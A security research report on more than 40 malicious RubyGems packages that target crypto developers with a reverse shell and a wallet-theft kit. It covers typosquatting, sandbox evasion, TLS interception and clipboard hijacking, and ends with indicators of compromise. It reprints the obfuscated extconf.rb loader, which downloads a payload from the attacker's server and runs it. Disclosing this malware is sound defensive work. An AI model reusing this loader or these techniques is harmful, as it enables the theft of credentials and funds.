Malicious Crypto Shell Packages Target RubyGems
The OpenSourceMalware automatic detection engine has identified 40+ malicious packages that use typosquatting, brandjacking, and plausible utility names to target crypto and web3 developers. There are two variants, either installing a reverse-shell or a cryptostealer.
Initially, we analyzed a malicious RubyGems package that downloads a second-stage cryptocurrency theft kit disguised as a wallet-protection utility called "Wallet Guard."
The bundle combines a local HTTP/HTTPS interception proxy, a browser content script, a clipboard hijacker, and a wallet-material grabber.
`rubygems-btc-shell` is a cryptocurrency theft kit disguised as a wallet-protection utility. Along with the rest of the packages, it was published to RubyGems by the user `reqthrottle_3474`, whose profile uses the name "Ghost Dev." See all the associated threat reports under the #rubygems-btc-shell tag.
The kit has two goals. The first is to redirect cryptocurrency withdrawals by replacing the destination address with an attacker-controlled wallet, while the page the victim sees continues to look unchanged. The second is to harvest wallet material. It searches the host for browser wallet data, seed phrases, private keys, and wallet files, then sends what it finds to a hard-coded collector.
The kit bundles four components:
- A local HTTP/HTTPS interception proxy
- A browser content script
- A clipboard hijacker
- A wallet-material grabber
- bip39-wordlist-utils
- bitcoin-address-utils
- bitcoin-rpc-lite
- btc-wallet-tools
- coinmarket-utils
- electrum-protocol-lite
- eth-address-utils
- eth-keystore-utils
- ethereum-tx-helper
- lightning-invoice-utils
- web3-eth-utils
- web3-sign-helper
- base58-check-helper
- blockchain-sync-utils
- crypto-key-utils
- crypto-mnemonic-tools
- hdkey-derive-helper
- merkle-proof-lite
- rate-limit-mini
- req-throttle-mini
- request-guard
- throttle-requests
- tx-broadcast-utils
- utxo-set-utils
- wallet-backup-tool
- wallet-crypto-utils
- Before activating, it checks whether it is running in CI, a sandbox, an analysis directory, or under a generated testing username, helping it avoid automated analysis environments.
- It also looks for signs of a real developer workstation, including SSH keys, Git configuration, npm credentials, RubyGems credentials, or Bundler data.
- If those checks pass, it forks into the background, detaches from the terminal, and waits approximately 20–40 minutes.
The kit is effective because of how these pieces work together. It installs its own trusted root certificate, intercepts TLS traffic for targeted sites, rewrites requests in transit, and spoofs the user interface. That combination lets it redirect a withdrawal even when the victim checks the address visually. The grabber widens the damage beyond a single transaction by collecting wallet files and secrets from the local system.
Organizations should check endpoints for the bundled root CA, modified proxy settings, unexpected autostart entries, and a listener on `127.0.0.1:8899`. Anyone whose wallet or exchange secrets were present on an affected host should treat them as compromised. From a clean device, move funds to a newly created wallet and change exchange passwords, API keys, and 2FA.
Packages in this campaign
So far, we've identified 42 packages that fall into three groups, and only 16 of them are typosquats of an existing gem.
Typosquats of existing gems (16)
Malicious package
Legitimate gem
Technique
Letter swap (o, i)
Substitution (o → i)
Letter swap (o, i)
Adjacent key (n → j)
Adjacent key (n → h)
Adjacent key (h → b)
Letter swap (n, i)
Letter swap (a, k)
Letter swap (c, a)
Adjacent key (p → o)
Adjacent key (o → i)
Adjacent key (p → l)
Adjacent key (e → d)
Letter swap (u, m)
Letter swap (n, a)
tron.rb (low confidence)
Separator swap (. → -)
\*The legitimate `tron.rb` gem has very few downloads, so `tron-rb` may be a plausible-sounding name rather than a deliberate typosquat.
Brandjacking crypto projects (12)
These packages don’t misspell an existing gem but rather they borrow a recognizable cryptocurrency project, standard, or brand to look legitimate:
Generic utility names (14)
These packages use plausible, generic names that don’t point to a specific brand. Ten are crypto-themed and four look like HTTP request throttling libraries.
Our analysis
There are two stages to this malware campaign. The first is the RubyGems package itself which includes the payload file `ext/req_throttle_mini/extconf.rb`. This file is disguised as a Ruby native-extension build script, but its primary purpose is to act as a delayed backdoor.
There are two versions of this malware!
Yes you heard that right! This malware comes in two versions...
V1 is a reverse shell
The first version of this malware is relatively simple: It includes a reverse shell. Eleven of the 40+ packages are this variant. Once this version wakes up from its 20-40 minute nap, it immediately decodes a base64 payload embedded in the `extconf.rb` file:
That second-stage payload repeatedly connects to 45.138.12.177 on TCP port 8090, attaches the connection to /bin/sh, and provides the remote operator with an interactive reverse shell. Failed connections are retried every 30 seconds. Although the file ends with normal-looking mkmf and create\_makefile calls, the preceding logic clearly implements sandbox evasion, delayed execution, and remote command execution.
V2 downloads another payload
The second version of this malware has an `extconf.rb` file with a different base64 payload embedded in it:
key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) reThat hex string combined with the second-to-last line downloads a file from `hxxp://45.138.12[.]177:8092/wgkit.tar.gz`. If you un-tar that file, the analyzed directory contains Python scripts, a browser extension, an installation script, a root certificate, per-exchange certificates, target configuration, and a compressed copy of the same toolkit. The source is unusually explicit about its intended behavior: comments describe clipboard hijacking, wallet-vault extraction, seed scanning, and exfiltration.
drwxr-xr-x root/root 0 2026-10-05 07:06 ./
-rw-r--r-- root/root 1253 2026-10-05 07:03 ./wg-ca.crt
drwxr-xr-x root/root 0 2026-10-05 07:03 ./ext/
-rw-r--r-- root/root 9066 2026-10-05 07:03 ./ext/content.js
-rw-r--r-- root/root 573 2026-10-05 07:03 ./ext/manifest.json
-rw-r--r-- root/root 159 2026-10-05 07:03 ./ext/background.js
-rw-r--r-- root/root 15289 2026-10-05 07:03 ./inject_proxy.py
-rwxr-xr-x root/root 1971 2026-10-05 07:06 ./wg_install.sh
-rw-r--r-- root/root 927 2026-10-05 07:03 ./targets.json
drwxr-xr-x root/root 0 2026-10-05 07:03 ./tls/
-rw-r--r-- root/root 2912 2026-10-05 07:03 ./tls/mexc.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/kraken.com.pem
-rw-r--r-- root/root 2908 2026-10-05 07:03 ./tls/okx.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/nonkyc.io.pem
-rw-r--r-- root/root 2928 2026-10-05 07:03 ./tls/bitoasis.net.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/bitstamp.net.pem
-rw-r--r-- root/root 2908 2026-10-05 07:03 ./tls/htx.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bit2me.com.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/trocador.app.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/crypto.com.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/coinone.co.kr.pem
-rw-r--r-- root/root 2904 2026-10-05 07:03 ./tls/127.0.0.1.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bitget.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/czrex.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/xeggex.com.pem
-rw-r--r-- root/root 2920 2026-10-05 07:03 ./tls/binance.com.pem
-rw-r--r-- root/root 2908 2026-10-05 07:03 ./tls/gate.io.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/gemini.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/buybank.io.pem
-rw-r--r-- root/root 2920 2026-10-05 07:03 ./tls/runeswap.io.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/mistex.io.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/coinbase.com.pem
-rw-r--r-- root/root 2920 2026-10-05 07:03 ./tls/upbit.com.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/bitfinex.com.pem
-rw-r--r-- root/root 2896 2026-10-05 07:03 ./tls/localhost.pem
-rw-r--r-- root/root 2924 2026-10-05 07:03 ./tls/spotex.trade.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/lbank.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/kucoin.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bybit.com.pem
-rw-r--r-- root/root 2916 2026-10-05 07:03 ./tls/bitbank.cc.pem
-rw-r--r-- root/root 11656 2026-10-05 07:03 ./_grab.pyThe kit has two cooperating components:
1. `inject_proxy.py` intercepts local browser and shell traffic on `127.0.0.1:8899`. 2. `_grab.py` collects wallet data, scans user files, monitors the clipboard, and posts stolen material.
The `ext/content.js` module can run as a browser extension content script or be inserted directly into proxied pages. The manifest grants access to all URLs and loads the script at `document_start` in all frames.
Technical Analysis
Installation and persistence
`wg_install.sh` copies the kit into `$HOME/.cache/.wg`, attempts to install `wg-ca.crt` as a trusted certificate authority, and adds proxy variables to `.bashrc` and `.zshrc`.
It then creates two desktop autostart entries:
The script also starts both processes immediately with `nohup`, allowing the malware to operate without root privileges when the user environment permits it.
Local proxy and TLS interception
The proxy listens on `127.0.0.1:8899` and handles both ordinary HTTP requests and HTTPS `CONNECT` tunnels. For configured exchange hosts, it establishes upstream TLS, creates a server-side TLS context for the victim, and injects the malicious JavaScript into HTML responses.
The bundle includes a self-signed root certificate:
Subject: C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
Issuer: C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
Validity: 2026-10-05 through 2036-10-02It also contains private keys alongside leaf certificates for the targeted domains. This enables the proxy to present locally generated or pre-signed certificates for exchange traffic after the root certificate has been trusted.
Non-targeted HTTPS traffic is transparently relayed. Targeted HTML responses are modified by inserting the contents of `ext/content.js` before the closing `</head>`, `<head>`, or `<body>` tag.
Withdrawal-address replacement
The injected script recognizes Bitcoin, Ethereum, Tron, Solana, and TON addresses. It monitors fields whose names or labels contain terms such as `address`, `wallet`, `recipient`, `destination`, `withdraw`, or `payout`.
It hooks classic form submissions as well as `fetch`, `XMLHttpRequest`, and `FormData` APIs. When a matching address is found, it replaces the submitted value with an attacker wallet. The script then rewrites visible text and input values for up to twelve seconds so the victim continues seeing the original address.
The operator wallets embedded in the script are:
BTC bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
ETH 0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TRX TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
SOL DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
TON UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3Before replacement, the original address, network, amount, and exchange host are sent to the local proxy. If that request fails, the script falls back to a direct image-based GET request to the remote collector.
Clipboard hijacking
`_grab.py` continuously reads the clipboard. On Windows it uses the Win32 clipboard API; on Unix-like systems it attempts `xclip` and `xsel`.
When a cryptocurrency address is detected, the original value is exfiltrated and replaced with the corresponding operator wallet. The loop repeats approximately every 800 milliseconds, making it capable of intercepting addresses copied between applications rather than only addresses entered in a browser.
Wallet-vault and secret harvesting
The grabber searches common Chrome, Brave, and Edge locations for extension storage belonging to TronLink, MetaMask, Phantom, Binance, Coinbase, and Trust Wallet. It also searches for Exodus and Electrum wallet files.
A separate file scanner examines user directories up to a limited depth and looks for filenames containing wallet, seed, mnemonic, keystore, backup, passphrase, or private-key terms. Matching contents are scanned for:
Collected data is truncated to configured size limits, XOR-obfuscated with a short static key, base64-encoded, and sent to the `/grab` endpoint as an HTTP POST request.
Exfiltration infrastructure
The grabber’s independently decoded default C2 URL is:
http://45.138.12.177:8080/wi/grabThe browser script’s fallback URL is:
http://45.138.12.177:8080/wThe local proxy can also relay browser events to an operator-supplied URL through its `--c2` option. The grabber accepts a `WG_C2` environment-variable override. These configurable branches were not resolved because their values are external to the sample.
Targeted exchanges
The proxy configuration names the following hosts:
xeggex.com nonkyc.io binance.com coinbase.com
kraken.com kucoin.com bybit.com lbank.com
bitoasis.net okx.com gate.io mexc.com
bitget.com bitfinex.com crypto.com bit2me.com
htx.com bitstamp.net gemini.com upbit.com
coinone.co.kr bitbank.cc trocador.app mistex.io
runeswap.io buybank.io spotex.trade czrex.comIndicators of Compromise (IOCs)
C2 infrastructure
45.138.12.177
http://45.138.12.177:8080/wi/grab
http://45.138.12.177:8080/w
127.0.0.1:8899Persistence and files
$HOME/.cache/.wg
$HOME/.config/autostart/wg.desktop
$HOME/.config/autostart/wg-grab.desktop
Wallet Guard Root CAAttacker wallets
bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3SHA-256
_grab.py 387a778a6376b6c060516ce5c1191a61e075acfe3fb073e6e5cd78eeb96a95b3
inject_proxy.py 549d35217f1e884634993ba6f13dd8e82091dd9f995a9ed0cb575958e63f073d
ext/content.js 57a56ab47fa7f33147d4924b07e77d773515b4a06ca9ac090874209a9950f30b
wg_install.sh b857fdf59db6948ea01643d935742904e9275572e63cd23331a9405483c6379c
wgkit.tar.gz 33276fedf0632be39b4e8a646c520bfa081bb7e67dce52042da46bbbda16d440
wg-ca.crt 075b6ac656aa414e2d21b9d1bc8b0fd030902202222e9d06a326fd80d7827ae6